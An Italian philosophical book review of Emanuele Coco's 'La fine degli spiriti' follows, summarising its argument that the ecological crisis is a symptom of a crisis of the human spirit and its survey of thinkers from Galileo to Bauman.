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sabato , 22 Febbraio 2025
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194. Recensione a: Emanuele Coco, La fine degli spiriti. La natura come indagine filosofica del sé, Mimesis, Milano-Udine 2022, pp. 137. (Aurora Du Bois)

Della Natura si sono composti, nel corso dei secoli, i più vividi abbozzi. Madre, matrigna, divinità, apparenza, sorte, oppure manifestazione straordinaria di intelligenza cosmica, fruttifero sfondo da dominare: cosa significa, autenticamente, «ritornare a vivere secondo Natura»? Cosa intende veramente questo nostro secolo, così tanto pungolato dalla questione ambientale, quando chiede al genere umano di educarsi al rispetto dell’ambiente? Sono istanze esistenziali indagate da Emanuele Coco che a esse dedica il saggio La fine degli spiriti. Coco sceglie di problematizzare l’urgente tema della salvaguardia dell’ambiente attraverso una rovesciata prospettiva ermeneutica. È necessario comprendere una chiave di svolta: non è, difatti, il deteriorarsi della Natura la causa primaria dell’impoverimento dell’Uomo, ma, al contrario, la questione ecologica è sintomo evidente della crisi dello spirito umano. L’autore chiede dunque di esplorare il tema dell’educazione ambientale partendo da un orientamento filosofico che sia accorto alla psiche: a essere in pericolo, in primo luogo, non è l’ambiente bensì l’anima, filosoficamente intesa, la quale si trova in una condizione di rischio mortale poiché ha perduto il contatto con il cosmo, con la Natura. Si tratta di un decadimento a fior dell’uomo talmente impellente quanto eluso, non percepito. La prospettiva descritta dal saggio è limpida: se si vuol discorrere della sofferenza naturale, bisogna prima affrontare i «pericoli che corre lo Spirito umano» (p. 9). La coscientizzazione avviene intraprendendo un percorso forgiato sulle conoscenze teoriche ed empiriche degli ultimi cinquecento anni. L’autore raduna una compagine eterogenea e protagonista di quattro sezioni: la prima, Eterni Cataclismi (dove prendono parola personaggi come Galileo, De Maillet e Robinet, Diderot, Needham, Voltaire, Cuvier, Hugo, Darwin, Leibniz), la seconda, La prospettiva biologica (William D. Hamilton, Vero C. Wynne-Edwards, Weismann, Ridley, Roeder, Frans de Waal), la terza, La natura e il sé (Eraclito, Bruno, La Mettrie, Thoreau, Cartesio), e infine Se cade il cielo (Nietzsche, Marcuse, Freud, Bauman).
Lanciando una tesi provocatoria, «l’educazione ambientale è una distrazione» (p. 9), Coco vuol dimostrare come alcuni assunti della questione ecologica siano fin troppo generici se non già fallaci; il sistema societario chiama l’individuo alla responsabilità delle buone pratiche comuni che, pur doverose, non esauriscono il problema originario. L’educazione «rischia di appiattire» (p. 9) così la risoluzione incaricando, di primo acchito, il singolo, sebbene la responsabilità della salvaguardia vada cercata altrove, nel «più vasto problema del vivere sociale ancora assediato da scempiaggini» (p. 9). Bisogna allora – in questo sta soprattutto il lavoro del filosofo – svelare la contraddittorietà di certe opinioni che offuscano la scaturigine dell’equilibrio cosmico, sociale e celeste, bisogna sfatare i bias che accompagnano le credenze dell’individuo nel ventesimo secolo. L’autore si appresta subito a individuare alcuni di questi dogmi concettuali e ne approfondisce la confutazione attraverso il dispiegarsi del saggio. Tre sono gli errori principali da epurare in merito alla questione ecologica: 1. le considerazioni pressanti sull’estinzione; 2. l’idea «diffusa» (p. 10) che l’uomo non viva più secondo il suo ordine naturale; 3. il dispersivo slogan dell’uomo distruttore della Terra. Volendo analizzare l’immaginario che forgia il sedimento culturale della società, l’autore attinge di certo alla sua formazione di biologo che ha preceduto quella di filosofo: la possibilità dell’estinzione umana «non ha di per sé nulla di scandaloso» (p. 10) in quanto espressione ciclica e spontanea del corso naturale degli eventi. L’autore, si badi, non intende ridursi a un atto negazionista né tantomeno nichilista: la storia della Natura, sappiamo, è stata sempre caratterizzata da trasformazioni, talora spesso radicali o catastrofiche. Nel corso degli ultimi decenni, certo, la mano umana ha senz’altro acuito tale processo di mortalità ambientale. L’idea dell’estinzione, tuttavia, non può costituire in maniera autonoma una legittima tesi per sostenere la causa, poiché il concetto, di per sé, rispecchia l’ordine naturale delle cose. Su queste considerazioni s’apre, dunque, il primo capitolo, il quale contiene una breve disamina dedicata al dinamismo della Natura. Svolta attraverso le parole eccentriche ed eterodosse di alcuni pensatori, si menzionano gli sconvolgimenti cosmici prodotti dalle scoperte di Galilei, l’attrattiva dello studio dell’origine dei fossili da parte di Diderot, Cuvier, Saint-Hilaire, oppure la querelle fra Needham e Spallanzani. Il nutrito interesse per la vita organica e le sue manifestazioni contribuì gradualmente alla laicizzazione della Natura e di conseguenza al concepimento degli sconvolgimenti ambientali quali episodi privi di volontà divina: «La Terra prima dell’uomo doveva essere stata un laboratorio, un tumulto di corpi in trasformazione, una santabarbara di anatomie» (p. 21).
In questa cornice appare ancora più ingenuo lo slogan di «rousseauiana» memoria che vede la risoluzione della questione ambientale in un ritorno «arcadico» (p. 10) al vivere secondo natura. È una prospettiva ecologica che ritrae il dominio materiale dell’Uomo nei termini di una deviazione dell’ordine naturale, ignorando che è proprio tale costituzione naturale a spingere la società «ad operare uno sfruttamento massimo delle risorse» (p. 10). L’immagine dell’Umano incline ad accaparrarsi tutto il necessario, al di là del fabbisogno delle generazioni successive, è quindi perfettamente congrua al suo sistema evolutivo in quanto la bussola biologica non ha come priorità l’«autolimitazione del consumo» (p. 11). L’educazione ambientale dovrebbe, allora, porre da parte una certa idea di innaturalezza ma fare da luminare, piuttosto, su tutto ciò che nell’uomo determinismo non è: elevare quel libero arbitrio differenziato dal «diktat degli istinti» (p. 11), creare buone pratiche educative al fine di ottimizzare lo spirito culturale e psicologico che attraversa la traiettoria evolutiva. Tale prospettiva trasforma le assunzioni preliminari. Invece di ritenere l’Uomo come creatura d’esasperazione innaturale, sarebbe necessario operare un intervento agentivo o ermeneutico sulla consapevolezza per cui, a dover essere modificata, non è la naturalità – presente o assente – dell’umano, bensì la sua specifica modalità di funzionamento. Perseguire lo scopo della tutela ecologica attiva, pertanto, un processo riflessivo che, giocoforza, deve essere contestualizzato all’interno dell’ambito culturale e sociale. Natura e cultura, lungi dall’essere una coppia di opposti, si fondono in un binomio concettuale impossibile da scindere se si vuol affrontare con strumenti argomentativi il tema dell’ambiente. L’autore pone in guardia «dai facili antropocentrismi» caratterizzati da fragilità empirica quanto «dalle più recenti borie scientiste» (p. 79) incardinate sul negazionismo e sul relativismo epistemologico.
Il secondo capitolo vuole, a questo punto, afferrare una Natura emancipata dalla «rappresentazione immaginaria» tipica del consensus gentium, la quale sorge incollando a sé varie conoscenze da fonti non specifiche e talora monocentriche. Coco ritiene sia necessario oggettivare la materia vivente, ossia, porre una separazione quanto più precisa fra i fenomeni naturali e il senso ad essi attribuito dagli individui; ciò significa senz’altro liberare la Natura «dagli eccessi di hybris di chi sostiene che la tecnica scongiurerà ogni pericolo ambientale» (p. 47).
Si può affermare che il capitolo si faccia strada esponendo ricerche di biologia evoluzionista concernenti il mondo animale, legate soprattutto a tre nuclei: la dinamica dell’auto-limitazione; l’altruismo; l’empatia. Le ragioni sottostanti tale cernita di contenuti sono di seguito esplicitate: «Solo se chiariamo con precisione cosa la Natura è, cosa fa e cosa non fa, sarà possibile costruire una critica ecologica solida che contribuisca a distinguere i modi di un nuovo vivere collettivo» (p. 55). È un capitolo che intende esaltare quanto il senso di cura proprio del genere umano travalichi il corredo genetico, rappresentando in tal modo «una novità evoluzionistica» (p. 74).
La terza sezione rispecchia la tesi pulsante dell’autore che dà il titolo al volume: «gli spiriti della Natura sono allora gli elementi […] immaginifici (i miti, le rappresentazioni zoomorfe, i moti degli astri) a partire dai quali il soggetto trae immagini che lo guidano nelle trasformazioni della propria dimensione interiore […] La fine degli spiriti, al contrario, coincide con la perdita della vita immaginifica» (p. 79).
Cosa fare, dunque, per ricostruire tale rapporto? La prospettiva dell’autore invita ad instaurare un attento dialogo con l’ambiente, richiama alla necessità di uno studio sincero – sulla scia delle antiche culture che mescolavano empirismo e magia –, che l’Uomo contemporaneo affida alla tecnica scientifica. Eppure, al di là delle maestrie sperimentali, il monito è un altro: riscoprire, invero, l’omaggio di Eraclito alla silvestre dea Artemide, il senso più profondo del frammento physis kryptesthai philei; la natura ama nascondersi perché è molto più di una manifestazione del mondo esterno. Lo sa bene il cacciatore Atteone rinarrato dalla filosofia di Giordano Bruno. Divenuto “tutto occhio”, Atteone vede ed è visto dall’Anfitrite – “il fonte de tutti numeri, de tutte specie, de tutte raggioni” –, è la straordinaria metamorfosi dell’Uomo impegnato nella più alta ricerca esistenziale: la caccia della verità, della divina Natura, ch’egli scopre tutt’a un tratto dentro di sé. Quest’attimo di pura immedesimazione con la totalità universale sconvolge l’intera l’esistenza filosofica del soggetto: egli non può più ritornare a essere ciò che era prima, la caccia della verità si conclude con il disquarto di Atteone che nella rivisitazione di Bruno assurge ad un profondo rinnovamento del sé. L’autore commenta dunque: «Il mondo a cui apparteneva gli diventa estraneo. Seguendo la via dello studio del mondo naturale (scienza) e di quello interiore (filosofia) il cacciatore vede ciò che prima non coglieva. Diana coincide con questa duplice natura» (p. 100). Storicamente più vicina, quella di Thoreau appare invece una ricerca finalizzata non tanto «alla condizione dei nostri antenati» quanto alla «selvaggitudine» (p. 117) delle sfaccettature identitarie dell’Uomo, intontito, secondo Coco, dal processo di domesticazione. Ivi la necessità di una pratica filosofica che sappia andare oltre l’apparato teorico, capace di riesaminare chi eravamo e chi siamo al fine di sottrare l’Uomo dalla tragedia della dimenticanza. Qui un eco heideggeriano: «noi siamo sempre gli assassini dell’essere» (p. 117).
L’ultimo capitolo invoca un atto di disobbedienza. La questione ecologica narra, spesso, di un’idea generica dell’Uomo usurpatore della Terra; qui l’autore interviene per operare una demistificazione di tale asse interpretativo. La crisi ambientale è abitata da una già conosciuta lotta di classe: «una contrapposizione tra forti e deboli […] anche se con strutturazioni sociali ben diverse dal passato, marcate tanto dalla liquidità sostenuta da Bauman quanto da una atomizzazione parcellare delle parti di società coinvolte» (p. 128). Il capitolo vuole dimostrare il monopolio delle «élite economiche» (p. 130) e gli effetti perversi visibili sull’ordine naturale e sociale. Coco sceglie di argomentare cosa accade intorno a certe pratiche agricole oggi in voga, come quella dei semi geneticamente modificati o del cotone transgenico indiano, concludendo che: «il disastro […] è stato causato ancor prima dal modello di economia e dall’idea di Natura di tali politiche agricole» (p. 131). La sofferenza ambientale è anzitutto un’offesa all’individuo. Quanti detengono il potere – e perciò il dominio della Terra – usurpano anche il resto della popolazione che in questa lotta si trova disarmata. Diviene più chiaro, allora, cosa intenda l’autore per filosofia accorta alla psiche e all’anima. La questione ecologica perde così quei connotati di generalità attraverso i quali viene impropriamente promossa. Nelle scuole, nell’accademia, nella più larga società, il rapporto con la Natura dev’essere raccontato sfatando gli stereotipi illusori che lo contraddistinguono e restituito con urgenza nelle sue vesti più sincere. La fine degli spiriti appare, infine, un saggio rivolto al soggetto derubato della Natura. La divulgazione del testo tenta di risvegliare un legame obnubilato da distorte mediazioni e, consapevole della complessità tematica, s’offre al lettore come tassello di una prospettiva alternativa. Dando voce a Emanuele Coco, in sintesi, il volume risponde a una filosofia impegnata nella tutela di una collettiva Arcadia impossibile da creare «finché non tenderemo l’orecchio e proveremo a sentire le sue voci» (p. 135).

(5 febbraio 2025)

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